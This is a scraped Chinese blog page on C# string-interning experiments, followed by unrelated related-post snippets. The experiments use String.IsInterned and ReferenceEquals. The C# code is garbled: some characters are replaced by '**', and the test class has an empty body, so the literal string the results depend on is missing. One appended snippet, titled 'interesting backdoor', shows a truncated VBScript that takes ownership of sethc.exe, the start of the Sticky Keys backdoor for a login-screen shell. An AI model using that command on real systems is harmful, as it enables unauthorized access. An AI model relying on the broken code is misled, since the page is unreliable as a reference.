有意思的字串拘留實驗

2021-09-22 06:19:45 字數 2134 閱讀 4752

本次字串拘留實驗分為4個,最終根據實驗得出了乙個很有意思的結論。這些結論使兄弟們在以前關於字串操作的結論基礎上進行深入理解。(關於字串拘留池,請google一下string intern pool,你可以搜尋到不少東西的。)

1 在main中沒有出現硬字串

string a1 = new

string('a', 1);

string a2 = new

string('a', 1);

console.writeline(a1);

console.writeline(string.isinterned(a1) != null);

console.writeline(referenceequals(a1, a2));

> a

> false

> false 

2 在main**現硬字串

string a1 = new

string('a', 1);

string a2 = new

string('a', 1);

console.writeline(a1);

console.writeline(string.isinterned(a1) != null);

console.writeline(string.isinterned("a") != null);

console.writeline(referenceequals(a1, a2));

> a

> true

> true

> false 

注意:為什麼第乙個isinterned竟然得出a已經拘留了呢?呵呵。

3 在main中不出現硬字串,但在另乙個類出現硬字串,不過另乙個類沒有被使用

// a1 

和 a2都不在拘留池,且位址不一樣。

string a1 = new

string('a', 1);

string a2 = new

string('a', 1);

console.writeline(a1);

console.writeline(string.isinterned(a1) != null);

console.writeline(referenceequals(a1, a2));

class

stringinternpooltest1

} > a

> false

> false 

4 在main中不出現硬字串,但使用了另乙個具有硬字串的類

string a1 = new

string('a', 1);

string a2 = new

string('a', 1);

console.writeline(a1);

console.writeline(string.isinterned(a1) != null);

console.writeline(referenceequals(a1, a2));

stringinternpooltest1 test = new

stringinternpooltest1();

class

stringinternpooltest1

} > a

> false

> false

> true 

本次實驗結論:

1 只有硬字串才能被拘留;

2 當jit編譯方法後,執行前會將乙個方法的所有硬字串拘留;

3 string x = "a" 不會執行記憶體分配,原因很簡單,在該語句之前jit已經執行字串拘留,即jit提前分配了字串的所需的記憶體以及字串拘留池項。

其它待實驗論點:

1 只有clr執行結束,拘留字串才能被釋放;

2 拘留乙個字串的行為為將引用新增到clr的乙個hashtable,它始終對字串進行引用,從而阻止gc對拘留字串進行**;

3 編譯器的優化行為(大家可以猜測一下如何優化,呵呵)。 

有意思的後門

dim obj,success set obj createobject wscript.shell success obj.run cmd c takeown f systemroot system32 sethc.exe 0,true success obj.run cmd c echo y c...

有意思的number format

申明 這是個人原創,在cnblogs上也有,都是自己寫的所以放原創了。number format number,decimals,decimalpoint,separator 有四個引數,第乙個和第二個引數是必須的,第三個和第四個是可選項。但實際測試中第三個和第四個這兩個引數必須同時存在,也就是要麼...

有意思的遞迴

先來乙個入門的 上初中學習數列求和什麼的時候我們就學過高斯的計算1到100的自然數的和的經典課文,那麼如果我們現在用程式的話該怎麼來做呢?自然是迴圈來做這件事。如果不用迴圈怎麼做呢?def sum first,end if end 1 return first elif end 1 return s...